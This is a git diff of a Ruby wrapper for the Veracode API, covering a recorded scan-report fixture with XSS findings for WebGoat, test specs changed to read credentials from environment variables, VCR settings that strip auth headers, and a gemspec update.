+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"80\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"50\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"129\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable thisPage.
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameternames,
+        and javax.servlet.servletrequest.getparameter. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"143\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"89\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n</staticflaws>\n</cwe>\n</category>\n</severity>\n<flaw-status
+        new=\"190\" reopen=\"0\" open=\"0\" fixed=\"0\" total=\"190\" not_mitigated=\"190\"
+        sev-1-change=\"0\" sev-2-change=\"14\" sev-3-change=\"31\" sev-4-change=\"22\"
+        sev-5-change=\"6\"/>\n</detailedreport>\n"
+    http_version: 
+  recorded_at: Tue, 27 Oct 2015 12:28:30 GMT
+recorded_with: VCR 2.9.3
diff --git a/spec/lib/veracode/base_spec.rb b/spec/lib/veracode/base_spec.rb
index 21f2f6d..bd776ee 100644
--- a/spec/lib/veracode/base_spec.rb
+++ b/spec/lib/veracode/base_spec.rb
@@ -1,18 +1,18 @@
 require (File.expand_path('./../../../spec_helper', __FILE__))
 
 describe Veracode::API::Base do
-  
+
   describe "default attributes" do
-    
+
     it "must include httparty methods" do
       Veracode::API::Base.must_include HTTParty
     end
-    
+
     it "must have the base url set to the Veracode API endpoint" do
       Veracode::API::Base.base_uri.must_equal 'https://analysiscenter.veracode.com'
     end
   end
-  
+
   describe "default instance attributes" do
 
     let(:veracode) { Veracode::API::Base.new(:username => "veracode", :password => "password") }
@@ -24,7 +24,7 @@
     it "must have the right id" do
       veracode.username.must_equal 'veracode'
     end
-    
+
     it "must have an password attribute" do
       veracode.must_respond_to :password
     end
@@ -34,4 +34,4 @@
     #end
 
   end
-end
\ No newline at end of file
+end
diff --git a/spec/lib/veracode/builds_spec.rb b/spec/lib/veracode/builds_spec.rb
index d9fa631..16ef1fd 100644
--- a/spec/lib/veracode/builds_spec.rb
+++ b/spec/lib/veracode/builds_spec.rb
@@ -3,10 +3,10 @@
 describe Veracode::API::Results do
   describe "GET builds" do
 
-    let(:veracode) { Veracode::API::Results.new(:username => "test", :password => "test") }
+    let(:veracode) { Veracode::API::Results.new(:username => ENV['VERACODE_USER'], :password => ENV['VERACODE_PASS']) }
 
     before do
-      VCR.insert_cassette 'base', :record => :new_episodes
+      VCR.insert_cassette 'builds', :record => :new_episodes
     end
 
     after do
@@ -16,11 +16,11 @@
     it "must have a get_application_builds method" do
       veracode.must_respond_to :get_application_builds
     end
-    
+
     it "must parse the api response from XML to Veracode::Result::Builds::Applications" do
       veracode.get_application_builds.must_be_instance_of Veracode::Result::Builds::Applications
     end
-    
+
     describe "dynamic attributes for builds" do
 
       before do
diff --git a/spec/lib/veracode/call_stack_spec.rb b/spec/lib/veracode/call_stack_spec.rb
index e726868..d791fa6 100644
--- a/spec/lib/veracode/call_stack_spec.rb
+++ b/spec/lib/veracode/call_stack_spec.rb
@@ -3,10 +3,10 @@
 describe Veracode::API::Results do
   describe "GET Call Stack" do
 
-    let(:veracode) { Veracode::API::Results.new(:username => "test", :password => "test") }
+    let(:veracode) { Veracode::API::Results.new(:username => ENV['VERACODE_USER'], :password => ENV['VERACODE_PASS']) }
 
     before do
-      VCR.insert_cassette 'base', :record => :new_episodes
+      VCR.insert_cassette 'call_stack', :record => :new_episodes
     end
 
     after do
@@ -19,6 +19,6 @@
 
     it "must parse the api response from XML to Veracode::Result::CallStacks" do
       veracode.get_callstacks("44905", "132").must_be_instance_of Veracode::Result::CallStacks
-    end 
+    end
   end
 end
diff --git a/spec/lib/veracode/detailed_spec.rb b/spec/lib/veracode/detailed_spec.rb
index a64135c..81187f1 100644
--- a/spec/lib/veracode/detailed_spec.rb
+++ b/spec/lib/veracode/detailed_spec.rb
@@ -3,10 +3,10 @@
 describe Veracode::API::Results do
   describe "GET detailed report" do
 
-    let(:veracode) { Veracode::API::Results.new(:username => "test", :password => "test") }
+    let(:veracode) { Veracode::API::Results.new(:username => ENV['VERACODE_USER'], :password => ENV['VERACODE_PASS']) }
 
     before do
-      VCR.insert_cassette 'base', :record => :new_episodes
+      VCR.insert_cassette 'detailed', :record => :new_episodes
     end
 
     after do
@@ -20,25 +20,25 @@
     it "must parse the api response from XML to Veracode::Result::DetailedReport" do
       veracode.get_detailed_report("44905").must_be_instance_of Veracode::Result::DetailedReport
     end
-    
+
     describe "dynamic attributes for results" do
 
       before do
         @result = veracode.get_detailed_report("44905")
       end
-      
+
       it "must return the attribute value if present" do
         @result.app_name.must_equal "WebGoat"
       end
-      
+
       it "must be an instance of Veracode::Result::Analysis" do
         @result.static_analysis.must_be_instance_of Veracode::Result::Analysis
       end
-      
+
       it "must be an instance of Veracode::Result::Analysis" do
         @result.dynamic_analysis.must_be_instance_of Veracode::Result::Analysis
       end
-      
+
       it "must be an instance of Veracode::Result::ManualAnalysis" do
         @result.manual_analysis.must_be_instance_of Veracode::Result::ManualAnalysis
       end
@@ -46,13 +46,13 @@
       it "must be an instance of Veracode::Result::FlawStatus" do
         @result.flaw_status.must_be_instance_of Veracode::Result::FlawStatus
       end
-      
+
       it "must be an instance of Veracode::Result::Severity" do
         @result.severity.each do |sev|
           sev.must_be_instance_of Veracode::Result::Severity
         end
       end
-      
+
       it "must be an instance of TrueClass" do
         @result.is_latest_build?.must_be_instance_of TrueClass
       end
diff --git a/spec/lib/veracode/summary_spec.rb b/spec/lib/veracode/summary_spec.rb
index 09f618e..14254e0 100644
--- a/spec/lib/veracode/summary_spec.rb
+++ b/spec/lib/veracode/summary_spec.rb
@@ -3,10 +3,10 @@
 describe Veracode::API::Results do
   describe "GET summary report" do
 
-    let(:veracode) { Veracode::API::Results.new(:username => "test", :password => "test") }
+    let(:veracode) { Veracode::API::Results.new(:username => ENV['VERACODE_USER'], :password => ENV['VERACODE_PASS']) }
 
     before do
-      VCR.insert_cassette 'base', :record => :new_episodes
+      VCR.insert_cassette 'summary', :record => :new_episodes
     end
 
     after do
@@ -20,39 +20,39 @@
     it "must parse the api response from XML to Veracode::Result::SummaryReport" do
       veracode.get_summary_report("44905").must_be_instance_of Veracode::Result::SummaryReport
     end
-    
+
     describe "dynamic attributes for results" do
 
       before do
         @result = veracode.get_summary_report("44905")
       end
-      
+
       it "must return the attribute value if present" do
         @result.app_name.must_equal "WebGoat"
       end
-      
+
       it "must be an instance of Veracode::Result::Analysis" do
         @result.static_analysis.must_be_instance_of Veracode::Result::Analysis
       end
-      
+
       it "must be an instance of Veracode::Result::Analysis" do
         @result.dynamic_analysis.must_be_instance_of Veracode::Result::Analysis
       end
-      
+
       it "must be an instance of Veracode::Result::ManualAnalysis" do
         @result.manual_analysis.must_be_instance_of Veracode::Result::ManualAnalysis
       end
-      
+
       it "must be an instance of Veracode::Result::FlawStatus" do
         @result.flaw_status.must_be_instance_of Veracode::Result::FlawStatus
       end
-      
+
       it "must be an instance of Veracode::Result::SummarySeverity" do
         @result.severity.each do |sev|
           sev.must_be_instance_of Veracode::Result::SummarySeverity
         end
       end
-      
+
       it "must be an instance of TrueClass" do
         @result.is_latest_build?.must_be_instance_of TrueClass
       end
diff --git a/spec/lib/veracode/upload_spec.rb b/spec/lib/veracode/upload_spec.rb
index 24c837b..9b66912 100644
--- a/spec/lib/veracode/upload_spec.rb
+++ b/spec/lib/veracode/upload_spec.rb
@@ -3,10 +3,10 @@
 describe Veracode::API::Upload do
   describe "GET build information" do
 
-    let(:veracode) { Veracode::API::Upload.new(:username => "test", :password => "test") }
+    let(:veracode) { Veracode::API::Upload.new(:username => ENV['VERACODE_USER'], :password => ENV['VERACODE_PASS']) }
 
     before do
-      VCR.insert_cassette 'base', :record => :new_episodes
+      VCR.insert_cassette 'upload', :record => :new_episodes
     end
 
     after do
@@ -19,30 +19,30 @@
 
     it "must parse the api response from XML to Veracode::Upload::ApplicationInfo" do
       veracode.get_application_info("32338").must_be_instance_of Veracode::Upload::ApplicationInfo
-    end 
-    
+    end
+
     it "must parse the api response from XML to Veracode::Upload::AppList" do
       veracode.get_application_list.must_be_instance_of Veracode::Upload::AppList
     end
-    
+
     describe "dynamic attributes for build info" do
 
       before do
         @result = veracode.get_build_info("32338", "44905")
       end
-        
+
       it "must parse the api response from XML to Veracode::Upload::BuildInfo" do
         @result.must_be_instance_of Veracode::Upload::BuildInfo
       end
-      
+
       it "must return the attribute value if present" do
         @result.app_id.must_equal "32338"
       end
-      
+
       it "must be an instance of Veracode::Upload::Build" do
         @result.build.must_be_instance_of Veracode::Upload::Build
       end
-      
+
       it "must be an instance of TrueClass" do
         @result.build.results_ready?.must_be_instance_of TrueClass
       end
@@ -51,17 +51,17 @@
         lambda { @result.foo_attribute }.must_raise NoMethodError
       end
     end
-    
+
     describe "dynamic attributes for build list" do
 
       before do
         @result = veracode.get_build_list("32338")
       end
-        
+
       it "must parse the api response from XML to Veracode::Upload::BuildList" do
         @result.must_be_instance_of Veracode::Upload::BuildList
       end
-      
+
       it "must return the attribute value if present" do
         @result.app_id.must_equal "32338"
       end
diff --git a/spec/spec_helper.rb b/spec/spec_helper.rb
index 201bb6c..07e07f3 100644
--- a/spec/spec_helper.rb
+++ b/spec/spec_helper.rb
@@ -9,6 +9,13 @@
 require 'vcr'
 require 'turn'
 
+require 'dotenv'
+
+require 'pry'
+require 'plymouth'
+
+Dotenv.load
+
 Turn.config do |c|
   # :outline  - turn's original case/test outline mode [default]
   c.format  = :outline
@@ -19,7 +26,19 @@
 end
 
 #VCR config
-VCR.config do |c|
+VCR.configure do |c|
   c.cassette_library_dir = 'spec/fixtures/veracode_cassettes'
-  c.stub_with :webmock
+  c.hook_into :webmock
+
+  c.before_record do |i|
+    i.response.headers.delete('Set-Cookie')
+    i.response.headers.delete('Authorization')
+
+    u = URI.parse(i.request.uri)
+    i.request.uri.sub!(/:\/\/.*#{Regexp.escape(u.host)}/, "://#{u.host}")
+  end
+
+  c.register_request_matcher :anonymized_uri do |request_1, request_2|
+    (URI(request_1.uri).port == URI(request_2.uri).port && URI(request_1.uri).path == URI(request_2.uri).path)
+  end
 end
diff --git a/veracode-api.gemspec b/veracode-api.gemspec
index 9dc34b7..c511f9f 100644
--- a/veracode-api.gemspec
+++ b/veracode-api.gemspec
@@ -9,7 +9,7 @@ Gem::Specification.new do |s|
   s.email       = ["mort666@virus.org"]
   s.homepage    = "https://github.com/mort666/veracode-api"
   s.summary     = %q{Veracode Analysis Service API Wrapper}
-  s.description = %q{Ruby API Wrapper to access Veracode Security Analysis Service API}
+  s.description = %q{Ruby API Wrapper to access Veracode Security Analysis Service API. This gem is not used as part of packaging for a Veracode scan of a Ruby on Rails application, it is an API access wrapper.}
 
   s.rubyforge_project = "veracode-api"
 
@@ -17,7 +17,7 @@ Gem::Specification.new do |s|
   s.test_files    = `git ls-files -- {test,spec,features}/*`.split("\n")
   s.executables   = `git ls-files -- bin/*`.split("\n").map{ |f| File.basename(f) }
   s.require_paths = ["lib"]
-  
+
   s.add_dependency "httparty"
   s.add_dependency "nori"
   s.add_dependency "nokogiri"
@@ -25,4 +25,5 @@ Gem::Specification.new do |s|
   s.add_dependency "roxml"
   s.add_dependency "i18n"
 
+  s.add_development_dependency "dotenv"
 end